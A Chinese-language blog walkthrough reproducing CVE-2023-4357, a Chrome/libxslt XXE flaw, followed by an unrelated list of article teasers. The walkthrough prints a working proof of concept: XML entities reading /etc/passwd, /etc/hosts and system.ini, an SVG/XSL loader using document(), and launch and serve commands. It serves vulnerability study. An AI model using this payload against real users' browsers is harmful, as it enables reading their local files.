【CVE-2023-4357】Chrome-XXE 任意文件读取漏洞复现及原理解析

官方文档

https://bugs.chromium.org/p/chromium/issues/detail?id=1458911

漏洞描述

Short description: Libxslt is the default XSL library used in WebKit based browsers such as chrome, safari etc. Libxslt allows external entities inside documents that are loaded by XSL document() method. An attacker can bypass security restrictions, access file://urls from http(s)://urls and gain file access. With the default sandbox attacker can read /etc/hosts file on ios (safari/chrome), mac (safari/chrome), android (chrome) and samsung tv (default browser). When the -no-sandbox attribute is used (Electron/PhantomJS) an attacker can read any file on any OS.

来自: 1458911 - Security: Libxslt arbitrary file reading using document() method and external entities. - chromium

译:

简述:libxslt 是基于 webkit 的浏览器(如 Chrome、safari 等)中使用的默认 XSL 库。Libxslt 允许外部实体进入由 XSL document() 方法加载的文档。攻击者可以绕过安全限制,从 http(s)://url 访问 file://url 并获取文件访问权限。使用默认的沙盒,攻击者可以在 ios(safari/chrome),mac(safari/chrome),android(chrome)和 samsung tv(默认浏览器) 上读取 /etc/hosts 文件,当使用 -no-sandbox 属性时,攻击者可以读取操作系统上的任意文件。

影响版本

  • Chrome 版本 < 116.0.5845.96
  • Chromium 版本 < 116.0.5845.96
  • Electron 版本 < 26.1.0

漏洞复现

  1. 准备 Chrome 浏览器,版本需低于 116.0
  2. 编写 XLS 文件,构造 XXE
  3. 编写 SVG 代码,使用 document 方法加载 XLS 文档
  4. 将 SVG 代码托管在服务器上访问

相关代码

XLS 文件(XXE 漏的核心代码)

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="?#"?>
<!DOCTYPE p [
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]> 

<div>
    <p>host: &hosts;</p>
    <p>passwd: &passwd;</p>
    <p>sysini: &sysini;</p>
</div>

这里写成 XML 格式也是完全可以的。

关系类似于 JSP 和 Java 的关系(不太准确,但比较容易理解),XLS 实际上就是在 XML 的基础上增加了一些扩展的语法,从而可以将 XML 中的数据转换为 HTML 呈现。

因为下面示例的 XLS 代码中,我并没有加入任何样式,所以是可以原封不动的转为 XML 格式来复现漏洞的,但是要记得 SVG 中引用的文件格式要一致。

SVG 文件加载 XLS

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
      <foreignObject id="xxx" width="1000" height="1000">
        <div xmlns="http://www.w3.org/1999/xhtml">
          XSL-Version: <xsl:value-of select="system-property('xsl:version')"/><br/>
          document() <xsl:copy-of  select="document('test.xsl')"/>
        </div>
      </foreignObject>
    </svg>
  </xsl:template>
</xsl:stylesheet>

SVG 是一种基于 XML 的可缩放矢量图格式,由于 SVG 是基于 XML,而 XSL 早期又经常被用来对 XML 进行一些样式优化(现在大多用 CSS 来对 SVG 做样式优化)。

代码解析:

  1. value-of 语法用于在 xsl 中提取 xml 文档中的值的,如上 <xsl:value-of select="system-property('xsl:version')"/>意为使用系统属性方法获取 xsl 的版本;
  2. copy-of 语法用于将 xml 文档中的节点复制输出到当前位置,如上 <xsl:copy-of select="document('test.xsl')"/>意为使用 document 方法加载 test.xsl 文档,并将加载到的内容复制输出到当前位置;
  3. **document**方法就是此次 XXE 漏洞的核心所在。它的作用就是加载外部 XML 文档,但由于内部并没有做好安全措施,从而导致了这个漏洞的产生。
  4. foreignObject是 SVG 中允许嵌入不同 XML 命名空间的语法,与本次漏洞关系不大。其他代码都是一些 XML 文件的固定配置引用。如果仅为了复现漏洞,上述 SVG 文件可以简化如下:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
          <xsl:copy-of  select="document('test.xml')"/>
  </xsl:template>
</xsl:stylesheet>

效果展示

第一步:python -m http.server 8888

使用 python 在 SVG 文件所在目录下启动一个端口为 8888 的 HTTP 服务

img

第二步:chrome --no-sandbox

在 chrome 目录下(v114.0 测试版)使用非沙盒模式启动 chrome 浏览器

  • 如果使用默认方式启动,仅在 linux 系统下能访问到 /etc/hosts 文件
  • 如果使用 --no-sandbox 模式启动,在 linux 和 windows 下都可以访问任意文件

img

第三步:http://127.0.0.1:8888/test.svg

在浏览器中访问 test.svg (没有做样式处理),由于是 Windows 环境复现,前面 host 和 passwd 的内容为空,只获取到 sysini 的内容。

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/170552.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Mycat2实战】四、Mycat实现分库分表【概念篇】

1. 什么是分库分表 首先&#xff0c;我们需要知道**所谓"分库分表"&#xff0c;根本就不是一件事儿&#xff0c;而是三件事儿&#xff0c;**他们要解决的问题也都不一样。 这三个事儿分别是"只分库不分表"、“只分表不分库”、以及"既分库又分表&qu…

关于WhatsApp群发营销价值、类型、优劣势……这里一次性讲清楚

01 社交销售互动&#xff1a;全球营销新趋势 当下&#xff0c;全球品牌的营销销售互动都步入了社交销售新时代&#xff0c;相比原来任何一种形式的互动沟通来说&#xff0c;其沟通效率、体验、效果都是无与伦比的。 企业与销售的互动&#xff0c;与通讯信息技术发展息息相关。…

PHP/Lerv通过经纬度计算距离获取附近商家

实际开发中,常常需要获取用户附近的商家,思路是 获取用户位置(经纬度信息)在数据库中查询在距离范围内的商家 注: 本文章内计算距离所使用地球半径统一为 6378.138 km public function mpa_list($latitude,$longitude,$distance){// $latitude 34.306465;// $longitude 10…

基于SpringBoot+Mybatis plus+React.js实现条件选择切换搜索功能

笔记/朱季谦 在写React前端逻辑时&#xff0c;经常遇到可以切换不同条件的列表查询功能&#xff0c;例如下边截图这样的&#xff0c;其实&#xff0c;这块代码基本都一个逻辑&#xff0c;可以一次性将实现过程记录下来&#xff0c;待以后再遇到时&#xff0c;直接根据笔记复用…

阿里云4核8G服务器优惠价格表,最低价格501.90元6个月、983.80元1年

阿里云4核8G服务器优惠价格表&#xff0c;云服务器ECS计算型c7实例4核8G配置3M带宽40GB ESSD云盘&#xff08;系统盘&#xff09;叠加使用优惠券后价格501.90元6个月、983.80元1年&#xff0c;现在购买经济型e、通用算力型u1、计算型c7和计算型c8a与c8i实例4核8G配置均有优惠&a…

怎么查看虚拟机的网关

1、点击编辑&#xff0c;再选择虚拟网络编辑器 2、选择VMnet8&#xff0c;点击NAT设置 3、查看网关IP

互联网行业以前是以前,现在是现在

目前互联网行业呈现出多个趋势与现状&#xff1a; 移动互联网普及&#xff1a;随着智能手机的普及&#xff0c;移动互联网已经成为主流&#xff0c;各种APP带来更加方便的服务&#xff0c;这也意味着PC端的互联网服务逐渐被取代。 数字化转型&#xff1a;各个行业都在进行数…

腾讯云轻量数据库试用初体验

腾讯云轻量数据库1核1G开箱测评&#xff0c;轻量数据库服务采用腾讯云自研的新一代云原生数据库TDSQL-C&#xff0c;轻量数据库兼100%兼容MySQL数据库&#xff0c;实现超百万级 QPS 的高吞吐&#xff0c;128TB海量分布式智能存储&#xff0c;虽然轻量数据库为单节点架构&#x…

【Go语言实战】(26) 分布式搜索引擎

Tangseng 基于Go语言的搜索引擎 github地址&#xff1a;https://github.com/CocaineCong/tangseng 详细介绍地址&#xff1a;https://cocainecong.github.io/tangseng 这两周我也抽空录成视频发到B站的&#xff5e; 本来应该10月份就要发了&#xff0c;结果一鸽就鸽到现在hh…

安全知识普及:了解端点检测与响应 (EDR)对企业的重要性

文章目录 EDR 的含义和定义EDR 是如何运作的&#xff1f;收集端点数据将数据发送到 EDR 平台分析数据标记可疑活动并做出响应保留数据以供日后使用 为什么 EDR 对企业至关重要大多数企业都有可能遭受各种网络攻击。有些攻击可以完全绕开企业的防御远程办公让员工缺乏足够的保护…

EOCR电机保护器的日常维护与保养技巧

EOCR是由施耐德韩国公司生产的电动机保护系列产品&#xff0c;由电子器件和互感器等部件组成&#xff0c;在正常状态下使用都有各自的机械寿命和电气寿命,若操作不当或异常条件下会加速电器元件的老化&#xff0c;缩短保护器的使用寿命&#xff0c;所以电机保护器的正确使用和正…

如何安装运行Wagtail,并结合cpolar内网穿透实现公网访问网站界面

Wagtail-基于Python Django的内容管理系统CMS实现公网访问 文章目录 Wagtail-基于Python Django的内容管理系统CMS实现公网访问前言1. 安装并运行Wagtail1.1 创建并激活虚拟环境 2. 安装cpolar内网穿透工具3. 实现Wagtail公网访问4. 固定的Wagtail公网地址 前言 Wagtail是一个…

openCV教程(三)

文章目录 1 车辆统计项目1.1 背景减除1.2 车辆统计2 特征点检测和匹配2.1 harris角点检测2.2 shi-tomasi角点检测2.3 SIFT关键点检测2.4 SURF特征检测2.5 ORB特征检测3 特征匹配3.1 暴力特征匹配3.2 FLANN特征匹配3.3 图像查找3.3.1 单应性矩阵4 模版匹配4.1 模版匹配4.2 匹配多…

Mybatis和MybatisPlus:数据库操作工具的对比

目录 什么是mybatis 什么是mybatisplus MyBatis-Plus&#xff1a;为简化数据库操作而生的强大工具 一、MyBatis-Plus的背景和概述 二、MyBatis-Plus的主要特点 三、如何使用MyBatis-Plus mybatis-Plus的优势 什么是Hibernate Hibernate&#xff1a;Java开发者的数据持久…

数字化转型的终局

&#xff08;1&#xff09;数字化转型 我手头有一本书叫《提升》&#xff0c;是IBM市场部所属的商业价值研究院在2011年出版的图书。 在书的第三章《数字化转型》一章中第68页提出了”数字化转型“能力&#xff1a; 1、业务模式创新-客户和社区协作-跨渠道整合-数字化供应链 2、…

人工智能的广泛应用与影响

目录 前言1 智能手机与个人助手2 医疗保健3 自动驾驶技术4 金融领域5 教育与学习6 智能家居与物联网7 娱乐与媒体8 环境保护结语 前言 人工智能&#xff08;Artificial Intelligence&#xff0c;AI&#xff09;是当今科技领域的璀璨明星&#xff0c;它不仅在技术创新方面掀起了…

【机器学习】036_权重衰退

一、范数 定义&#xff1a;向量的范数表示一个向量有多大&#xff08;分量的大小&#xff09; L1范数&#xff1a; 即向量元素绝对值之和&#xff0c;用符号 ‖ v ‖ 1 表示。 公式&#xff1a; L2范数&#xff1a; 即向量的模&#xff0c;向量各元素绝对值的平方之和再…

基于springboot实现智能热度分析和自媒体推送平台系统项目【项目源码】计算机毕业设计

基于springboot实现智能热度分析和自媒体推送平台演示 系统开发平台 在该自媒体分享网站中&#xff0c;Eclipse能给用户提供更多的方便&#xff0c;其特点一是方便学习&#xff0c;方便快捷&#xff1b;二是有非常大的信息储存量&#xff0c;主要功能是用在对数据库中查询和编…

如果在手机没有root的情况下完成安卓手机数据恢复

您是否不小心从安卓设备中删除了重要数据&#xff1f; 担心如何取回您的照片、视频和文档&#xff1f; 有时您可能会不小心删除重要数据并使用安卓 root方法取回文件。 许多用户不喜欢根植他们的安卓设备&#xff0c;因为这是一种复杂的方法。 在本指南中&#xff0c;我们将向您…

【寒武纪(10)】linux arm aarch 是 opencv 交叉编译与使用

文章目录 1、直接找github 别人编译好的2、自主编译参考 3使用CMake检查 参考 1、直接找github 别人编译好的 测试很多&#xff0c;找到一个可用的。 https://github.com/dog-qiuqiu/libopencv 它用了超级模块&#xff01; OpenCV的world模块也称为超级模块&#xff08;supe…